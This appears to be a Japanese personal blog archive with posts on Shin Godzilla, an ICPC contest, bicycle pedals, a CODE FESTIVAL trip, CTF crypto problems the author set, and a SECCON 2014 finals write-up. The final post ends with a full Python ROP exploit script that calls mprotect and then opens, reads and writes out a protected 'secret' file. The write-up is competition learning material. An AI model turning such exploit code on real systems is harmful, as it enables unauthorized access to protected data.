シンゴジラしゅき〜〜〜

シンゴジラを見てきた。スゲエ映画だった。
ひたすらに感想を叫びたいのだけどTwitterでそれをやるのは憚られる。王様の耳はロバの耳的記事がこれだ。


僕は庵野秀明について詳しくない。エヴァといえば碇シンジ育成計画というくらい。
ゴジラに関しても映画をちゃんと見たことはない。流石にテーマソングを聞いたことくらいはあるという平均的日本人程度の程度の知識。というか今初代ゴジラ見ながらこれを書いてます。
しかも僕はにわかオタクなのでその作品に言及するならこれも言えや!みたいなのがたくさんあると思います。これは教えてくれると嬉しいです(読みたい)。
だからこの記事にまともな考察を期待しないで欲しい、ただの僕のシンゴジラしゅき〜〜〜〜が溢れだした記事です。


ゴジラの登場シーン。これは現代を強調してニコ生みたいになっていた。けど声が下手くそだった。流石にわざとだと思うので、第一形態のゴジラは特に嘘臭くて序盤は虚構を強調したのかもしれん。


ゴジラのビジュアル。決してリアルではない、音楽もわざと昭和的にされていた、と思う。
これは現実的なゴジラを描写するのではなく、わざとあの昭和ゴジラ(先も言ったように僕はこれを見ていたわけではない、それなのに僕はゴジラが圧倒的な怪獣だということを知っている。つまり日本人にとってのつよい怪獣の原風景である。)を想起させることで人間が敵わないということを強調したのだろう。
おお、俺だって中々考察まがいのことが出来るじゃないかと思いながら公式ページみたら現実(ニッポン) 対 虚構(ゴジラ)って書いてました。すみません。
現実と虚構を上手く組み合わせることに関しては、九井諒子さんがそれをよくやっていて、ダンジョン飯新刊が出た時に既刊を読み返したこともあってこういう描き方もありかーと見比べていた。
ゴジラの背びれはヒートシンク的な意味があるらしい。言われてみればそんな感じがする。


死。倒壊する建物の中に居る人が死ぬ描写があって、あれは特撮においてビルが破壊されることが軽く描写されることに対するアンチテーゼというか、一般人の死を描写しているのが新鮮に見えた。しかし、人の死は情況的に描写されるけど、直接的ではない。これは単純に映像規制みたいなもんであんまり意味はないのかもしれ無い。最後のシーンではしっぽに骸骨があって直接的に描写されているように見えたんだけど何か意味があったのだろうか。
ところで、直接的な死の描写は例えば血だけど、ゴジラではちゃんと流血が描写されていた。明らかに生物ではなくなっている(虚構的)なゴジラに対してそういう描写を入れることでバランスを取っているのかなぁと考えていたけど、単純に血液凝固剤がキーだから描写しただけかもしれない。
初期の総理は無能という程ではないけど、道化として描かれていてギャグパートでしか無い。蚊みたいに死んでびっくりした。


巨大不明生物特設災害対策本部。偏屈で優秀な人間を集めた少数精鋭とかかっこよすぎかよ〜〜〜。それでいて彼らは人の力を頼っていたのが好き。少数精鋭であるけどもそれは代表であって、いろんなところに同志が居るという描写がもう好きすぎた。同志がいろんなところに居るという作品はいっぱいあると思うんだけどぱっと思いつかない。最近読み返した中だと鈴木先生?あ、あとサマーウォーズでも似た描写がありましたね。ただ、それによる感動は今のところシンゴジラがぶっちぎりです。


アメリカ女。石原さとみ演じるカヨコが下手という評判を見ていたんだけどメッチャ上手く見えた。あれで不満ってどこがやねん!!と言いたい。
カヨコは日本とアメリカの血を継いでいるだけあって、橋渡し役になっていた。
彼女が「君の経歴が汚れるぞ、それで良いのか」と言われた時、多分全視聴者はこいつが断るわけがないと確信していたと思うんだけど、それなのに少し時間を置くタメがにくい。


噂の尾頭さん。僕はカヨコ派ですが尾頭さんも可愛いのは分かる。にっこりするシーンかわええ。
ちなみに僕が作中一番好きなキャラは文部科学省の安田さん。最初尾頭さんの核分裂説を否定した奴です。
彼は最初冷めていたのにどんどんアツくなっていくのが普段無気力なオタクっぽくて好き。有能なオタク最終形態。


自衛隊の一斉攻撃シーン。まどマギのワルプルギス戦を思い出した。ちょっとずつ武器の威力を上げながら攻撃するのってドチャクソかっこいいよね。現代兵器の連携の取り方が凄い。10式戦車とかある程度自動照準すると聞いたんだけどスラロームしながら射撃しててぴゃ〜〜〜〜。圧倒的だぁ……でもどうせゴジラ生き残るんやろなぁ……生き残ったぁ……。
アメリカが来た。なんかヤベエ攻撃始めたぞこれは勝ったでしょwあっ「お前やったか!?」って言うなよほらーお前のせいでゴジラ生き残っちゃったじゃんかよ〜。
ゴジラおこじゃん……なんか光ったぞ……ん!?火炎放射始めたぞwwwwwついに生物感が消えてきたぞwwwwwんん!?破壊光線出てるwwwwwwクソ強えwwwww絶望的じゃんwwwww


核を落とすという話。「彼らはニューヨークでもそうするとのことです」というセリフ、裏があるのかなぁと思わなくも無いけど多分そのままの意味。日本が思っているほどアメリカは誠実さを欠いていないという描写だと思う。実際その後アメリカさん(であってるよね?記憶が怪しい)が凍結作戦を援助してくれていた。あくまでも核を落とすのは最終手段であって、それを真にやりたいわけではないというのが好き。


途中から総理になった農林水産大臣かっこ良すぎかよ……。てかアレはどうせ無能でしょというセリフがあった時点ではい有能来ました〜〜〜〜ってワクワクしてました。
「そろそろ好きな様になさったらどうですか」からの「そうするかー」でもうおしっこ漏れた。
汚れたイメージのある政治の世界で最後の鍵になったのが彼の誠実さってのが良い。偉い人がいろいろ策を巡らすわけでは無くただ単にお願いしたのが良すぎる。


日本的な描写。矢口さんはは現代日本の人間と言うより戦時中の日本人に近い雰囲気を持っている気がした。
例えば戦時中の話を持ちだして楽観視が云々と言い出した時こいつヤバイやつやんけ……ってなったし、ラストの出撃シーンはまさしく特攻。
また日本的な描写は核の考えが切っても切り離せない。日本ほど核に対して強い抵抗を持つ国は無いんじゃなかろうか。比較的飄々としている官僚たちが核を落とすとなった途端に険しい表情になったのが日本人だなぁと思った。


最終バトル。最初のBGMがコミカルで、作戦内容もピタゴラスイッチっぽい印象を持った。ところであの作戦名を決めるときに矢口さんが「ゴジラ凍結作戦では子供っぽいですから」って言ってたけど実際(の描写)が子供っぽいやんけ!とツッコんでた。あっさりと人が死んでコミカルから急に引き戻されるのは面白い描写だと思う。


思い出しながらここしゅき〜〜〜ポイントをざっと書いた。また見よう。

ICPC2016 国内予選

@a3636takoと@kyuridenamidaと出た。結果としては8位と悪くなかったのだが途中経過はガバガバだった。

作戦
きゅうりがメインコーダーで、たこ氏と僕が問題を交互に考察 + その問題をきゅうりとペアプロという方針だった。
これはきゅうりともう一人がコーディングしている間に考察することできゅうりの実装に追いつくという目的だった(と思う)。
彼は実装と考察がミスっていた時のゴリ押し力がとても高いように思うので、考察が固まっていない僕とたこ氏が見てもあまりペアプロとして有用ではない。

実際この方針は模擬国内Bではうまく行った。

経過
きゅうりとたこ氏がABを爆速で通す(AがFA、B通した時点でも1位)。この間に僕はCを読んでいたのだけど、あまり解いたことの無い問題だった(僕は最近トップダウンに勉強していたのだが、数学系問題を踏んでいなかった)のと考察時間が少なかったのもあってかなり慌てていた。

結局まともに考察出来ていなかったので先にDを解いて貰っていたがバグったらしい。途中でCが解けた気がして(未証明)解法を伝えたのだが、これが大嘘で結局きゅうりが独力で通した状態だった(この時点で30位とかだった、葬式)。

(Cに考察?wと思う人も多いと思う、僕もそう思うし本当に悲しい)

Dがかなりバグっていてその間に僕はEを読んで考察、見た瞬間MSTという発想が降ってきてよく考察すると全然MSTではないのだけど性質が似ていてすんなり解法まで辿り着いた。

きゅうりらはDがバグりにバグっていてストレステストを書いていた。その間に僕はEを詰めていた(幾何パート)。

Dが通ったのでEをきゅうりと解く。概要を伝えてきゅうりが頑張って実装。僕がグラフパートをあまり詰めていなかったのでつらそうだった。提出するもWA。ここでたこ氏がFの考察が出来ていたのでそっちをやってもらう。僕がデバッグするも結局きゅうりが頂点数2の時死ぬことに気が付きAC。

Fがバグる(つらそう)。僕はG問題を読んでいた。山登り不可避。

G無理っぽいぞ〜となったので皆でFを通そうということに。2人は画面でコーディングしていたので僕は印刷してもらってそれを読む。結局二次配列のindexを逆にしている箇所があるという凡ミスだった。こういうバグは第三者が俯瞰的にデバッグした方が気が付き易い気がする。

きゅうりがHをフローだと主張するもたこ氏と僕はまともにフローを勉強しておらず応援係になった(とは言えこの時点で残り時間30分とかで終了ムードがあった)。

結局Gマジで山登りじゃねえ?ということになってきゅうりが実装している最中にタイムアップ。


反省
反省点しか無いような状態だったけどそれでも8位になったのは一重にきゅうりの実装力だったと思う。例えばストレステストをさっと書けたり考察が微妙に間違っていたりした時にさっと修正できるのは本当に凄い。

トップダウンに勉強するのは深みにハマり過ぎないので採用していたが、被覆する範囲が限定されて今回のようなことになる。流石に基礎的なところはちゃんとやり直した方が良かった。

僕は短い時間で何かをやるということが非常に苦手で、実装力は壊滅的。短時間で勉強するのに慣れてきた感はあったのだが、これは大学のテスト(充分に考察時間がある)に最適化されていたしTOEICには無力だった。

今回はきゅうりとのペアプロがそれほど有用であったとは思えないし、これは僕の実装力が低すぎるのが根本的な問題。僕がコーダーになることは(多分)無いと思うけど、それで良しとするにはきゅうりに頼りすぎた。

どうやったら実装力上がるんだろうなぁ、本当に頭が悪いという思いしかなくて悲しい。

ビンディングペダル導入時に気になったあれこれ

ビンディングペダルを導入するにあたって気になっていたことと実際どうだったかを書いていきます。
導入したい人は参考にしてください。

ビンディングの効果
ヒルクラでダンシングすると引き上げる感覚があるので1.3倍位ギア比上げても登れるようになった。

ストップ・アンド・ゴーが楽。漕ぎ出しのケイデンス小さい時でも効率がそれほど落ちない。
巡航速度はあんまり上がらないと思う。そもそも高速度域だと速度に対して出力が指数的に増加するので厳しい。

ダンシングが安定する。平地で下ハン持ってフラペでダンシングするのは結構怖かったのだけど、ビンディングだと脚が浮き上がらないので楽。あんまり車体も傾けなくなった。


立ちごけについて
付け外しの練習をしてゆーて行けるっしょwと走りだして最初の信号でコケた。これは外すのに慣れているかどうかではなく、「ビンディングを使っている」ことを忘れてしまうのが原因だと思った。

自転車で止まってフラペから脚を下ろす作業はほぼ無意識のうちに行われていて、ビンディングで同じ動きをすると車体が傾いてコケる。肉体的ダメージは皆無だけど精神的には厳しい。惨めだった。


普段使いもするからビンディングじゃない靴でも乗りたい/SPDにすべきか
これは間違いなくSPD-SLにすべきだと思う。フラペほどではないがSPD-SLでも普通の靴で乗れる。

SPDMTBのような乗り降りが多い場面で用いるべきで、コンビニに行く程度ならSPD-SL×普通の靴でも全く問題ない。

坂をSPD-SL×普通の靴で走った時は少し脚が浮く感覚があったが、SPD-SLを導入した直後で引き足を大目に使うようになったのが大きいと感じた。

しかし、普通の靴で乗っているとビンディングシューズに戻した時にまた立ちごけしそうなので、通学は替えの靴持って行ってます。

靴について
型落ちのR088を買った。重さとかその辺はよくわからんので省く。

重要なのはサイズ

もしロングライドをやるなら少しゆるめでも良いと思うが、ヒルクラをやるなら少しキツイ位を買ったほうが良いと思う。先にも書いたが全力でダンシングする時はかなり脚で引き上げる感覚がある。緩いと脱げそうで不安。ぴったりのサイズを買ったがもう1サイズ下でも良かったなぁと思うくらいだった。

とは言え、R088だとカチカチしてきつく出来るのでその辺は融通が効いた。走行中にカチカチして調整出来るのも地味に便利。マジックテープオンリーだと厳しいかもしれない?

歩ける?
思ったよりは歩ける。頑張れば走れるかなぁという程度。ただクリートが摩耗するので極力歩きたくないですね。


ペダルについて
R540-LAを買った。重さとか(ry

LAとあるのである程度強めに設定して使おうと考えていたら弱めでも十分だった。工場出荷時は最弱の設定にしてあってそのまま使っている。

説明書には「街乗りを想定しています。レースのような激しい用途であれば不意に外れるかもしれません。」といったようなことが書かれているのだけどどれほどの力で引き上げたらそんなことが起こるのだろうか……。

目視無しでクリートハマる?
厳しい。目視すれば大体1発でハマるようになるまではそれほど苦労しないが、目視無しは安定しない。

確かにペダルの方向は勝手に決まるんだけど、かと言ってハマるかというと別問題。

あと、雨上がりなどクリートが濡れている時は難易度上がります。

CODE FESTIVAL 2015参加記

  • 金曜日

全休なので昼ごろから出発、__math氏と合流して東京に。

CODE FESTIVAL通った時から絶対pump秋葉原店行くぞと決めていたので向かう。__math氏もノリ気だったので2人で行こうという話に。

スーツケースを持ち込んでジムへ。この時スタッフに藤井快さん(競プロで言うとtargetみたいな人)がいた。
あんまりBoulder男子の映像は見てなかったので確信が持てず声を掛けられなかったのだが、後日聞いたら本人だったらしい。

ライミングで疲れ果ててからファミレスで飯。しばらくしてchibiegg氏が合流。chibiegg氏の家に泊めてもらう。

  • 土曜日

微妙に寝坊する。直接会場に向かった。

本線は193位で爆死。冷静に考えて最近競プロやってなさすぎた(筋肉にかまけていた)。

中学の同級生と久しぶりに再会して話したりした。スーパー人見知りなのでTwitterでよく見る競プロ勢達の顔を見ては逃げるを繰り返していた。

けんしょーさんの話を聞く。社会怖い……。秋葉さんのペアプロは安定の面白さ。

エキシビション。去年とはかなり人が変わっていた。問題はさっぱりなレベルだけど雰囲気だけでクソ楽しい。各位コンテンツ力が高すぎる。

ホテルに帰るが致命的に飯が足りず、同級生と飯食いに外に出る。ホテル近くにクソ辛そうな担々麺屋があった。他に無さそうなので其処に入る。
一番辛くない味噌坦々麺を食った。メッチャ美味い。替え玉がなかったので小ライスをぶち込み満足。多分ラーメン大好き小泉さんに出てきたところ(北極ラーメン)。

ホテルに戻って終物語見ながら寝る。

  • 日曜

起床ガチ勢。朝プロ強制参加割とキツくない。

圧倒的easyで参加、4位になる。本戦でこれくらい頭動いて欲しかった。

ライトニングトークとshinh氏のトークライブを聞く。ショートコーディングスゲえ。chokudai氏のライブも聞きたかった、資料公開されてないのだろうか。去年もだったけど、聞きたいライブが重複するのばかりはどうにもならないか。

今年のリレーは戦犯が比較的抑えられていて良かった。とはいえ心臓に悪い。

今年も楽しかった、来年もやってくれ頼む。

chibiegg氏宅に帰る。

美味いうどんが食いたいとchibiegg氏と散策。並んでいる間にクライミングを勧めたらなんと月曜午後休とってクライミング行くという話になる。僕も月曜全休だったのでそうしようとわいわい。うどん美味かった。

しばらくして__math氏も帰ってくる。アップデートが来たらしくイカを楽しんでいた。

ちょうどこの日にクライミングワールドカップのシーズンラストの準決勝の試合をやっていたので見る。筋肉について考察しながら寝る。

  • 月曜

家主と__math氏が出かける中一人布団でゴロゴロしていた。クライミングの決勝試合を見てAnak Verhoevenが入賞逃したのを悲しんでいた。やはりMina Markovicの安定感が凄い。筋力を感じる。

昼になってchibiegg氏が帰ってきたのでクライミングジムに行く。例によって終わってからファミレスで飯。大阪に帰る。

ライミングで始まってクライミングで終わった大会だった。

TDUCTF Crypto (large file, My RSA)

large fileとMy RSAの作問担当しました。

  • large file

flag.tar.gzをダウンロードして解凍すればよいのだが、競技中にはダウンロードが終わらないサイズ。
オンサイトみたいな時間制限があるCTFならではの問題を作ろうと考えて思いついた。

tar.gzとは、tarでアーカイブした後にgzipで圧縮したファイルである。
tarはそれぞれのファイルを符号化せずにヘッダを付けて連結する。
gzipはdeflateという形式で符号化するが、これは逐次的に複合できる。

以上から、tar.gzの先頭部分が取得できれば、その部分だけ複合しファイルを取り出し得ることが分かる。

ここまで考察してgzipソースコードRFCを読み漁り、これは難問だと思っていた。
のだが、なんとgzipにredirectionして渡せば逐次的に複合した平文が取れた。
この時の悲しみをフラグに込めた。
公式ページhttp://www.gzip.org/recover.txtにも載っているテクだった。

多少エスパーっぽいがtar.gzの仕様について調べたことがある人なら解けるだろう。

線形合同法擬似乱数を生成し、連続して素数であればそれをkeyとして暗号化する。

十分大きな数であるから、普通には素因数分解できない(余談だが300桁程度の数なら数分で素因数分解出来てしまい、最初に設定した値だとそれだけで解けてしまった)。

鍵となる考えは線形合同法で連続した素数をkeyとしているところである。定義からMODの二次方程式を解けば良いことが分かる。

MODの二次方程式の解には逆数、sqrtが含まれる。
MOD逆数は拡張ユークリッド互除法で求まる。
sqrtはM%4 == 3である場合に限り(そしてMはメルセンヌ数であるから明らかに成り立つ)、(n+1)/4乗すれば求まることが知られる。

フラグにあるようにPARI/GPを使えばこの辺の考察を飛ばして二次方程式の解の公式を書くだけで答えを求めてくれる。

  • 所感

Cybozuで問題管理をしていたのだが、その時は20問ほどだった。
当日になるとどうやら問題数が倍になったらしく難易度が崩壊した。
Cybozuとは何だったのか……

SECCON 2014全国

Mr. Takedaで参加した。全体9位、日本チーム4位だった。
主に3つめのサーバーの問題を解いた。

解法 : ひたすらROP

syscallが制限されているためopen/read/writeするROPを書かなければならない。
openするファイル名の文字列は既知のアドレスに入れなければならないが、stackのアドレスはランダムであるため、ROP中で生成する必要がある(最初はファイル名がsecretなので*secretという.symstrから引っ張ってこようと思ったのだが、materialが全体をマッピングするのではなかったため利用できなかった。)
また、readのbufferはwritableである必要があるが、これも存在しないためROP中で生成する必要がある。

以上を踏まえて方針を立てる
mprotectは許可されたsyscallのため、これを最初に呼び出してMATERIAL_BASEADDRから0x1000byteをrwx権限とする(mmapはページ境界までメモリを確保するためMATERIAL_BASEADDRから利用する事ができる)。
MATERIAL_BASEADDRからsecretという文字列を書き込む。
MATERIAL_BASEADDR+0x10から256byte(secretlength)null埋めする。
open/read/writeする。

これに必要なROP gadgetはかなり少ない。
pop eax/ebx/ecx/edx
int 0x80
mov [reg1], reg2 ; mov [eax], ecxを使った。

popでレジスタに任意の値をセット出来る。
popと組み合わせてmov[reg1], reg2で任意のアドレスに任意の値を書き込むことが出来る。
popと組み合わせてsyscallをすることが出来る。

これは非常に汎用的で、arch00を解いた後はスムーズに全完すること出来た。
arch00 -> 全てのgadgetが存在する。
arch01 -> 全てのgadgetが存在する。
arch02 -> int 0x80が存在しない。int 0x80; pop ebp; pop edi; pop esi; pop ebx;で代用。
arch03 -> pop ecxが存在しない。pop ecx; pop edx;で代用。

arch03のexploit codeは以下

import struct
import sys

MATERIAL_BASEADDR	= 0x10000000
writable			= MATERIAL_BASEADDR + 0x10

pop_eax = 0x0002460f + MATERIAL_BASEADDR
pop_ebx = 0x000198ce + MATERIAL_BASEADDR
pop_ecx = 0x0002f706 + MATERIAL_BASEADDR
pop_ecx_pop_edx = 0x0002e33b + MATERIAL_BASEADDR
pop_edx = 0x00001aa2 + MATERIAL_BASEADDR
int80	= 0x0009f475 + MATERIAL_BASEADDR
int80_pop4 = 0x000ec351 + MATERIAL_BASEADDR
mov_peax_ecx = 0x0002db8f + MATERIAL_BASEADDR

count = 256

payload = ""

# mprotect
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 125)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x1000)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", 0x7)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

# implementation of memset 0
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x0)
payload += "JUNK"
for i in range(0, 256, 4):
	payload += struct.pack("<I", pop_eax)
	payload += struct.pack("<I", writable+i)
	payload += struct.pack("<I", mov_peax_ecx)

# "secret" write
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x72636573)
payload += "JUNK"
payload += struct.pack("<I", mov_peax_ecx)
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", MATERIAL_BASEADDR+4)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x7465)
payload += "JUNK"
payload += struct.pack("<I", mov_peax_ecx)

# open
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x5)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", MATERIAL_BASEADDR)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", 0x0)
payload += "JUNK"
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

fd = int(sys.argv[1]) # probably 0

# read
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", fd)
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x3)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", writable)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", count)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

# write
payload += struct.pack("<I", pop_eax)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", pop_ebx)
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", pop_ecx_pop_edx)
payload += struct.pack("<I", writable)
payload += "JUNK"
payload += struct.pack("<I", pop_edx)
payload += struct.pack("<I", count)
payload += struct.pack("<I", int80_pop4)
payload += "JUNK" * 4

teamflag = sys.argv[2]
sys.stdout.write(struct.pack("<I", len(teamflag)))
sys.stdout.write(teamflag)

sys.stdout.write(struct.pack("<I", len(payload)))
sys.stdout.write(payload)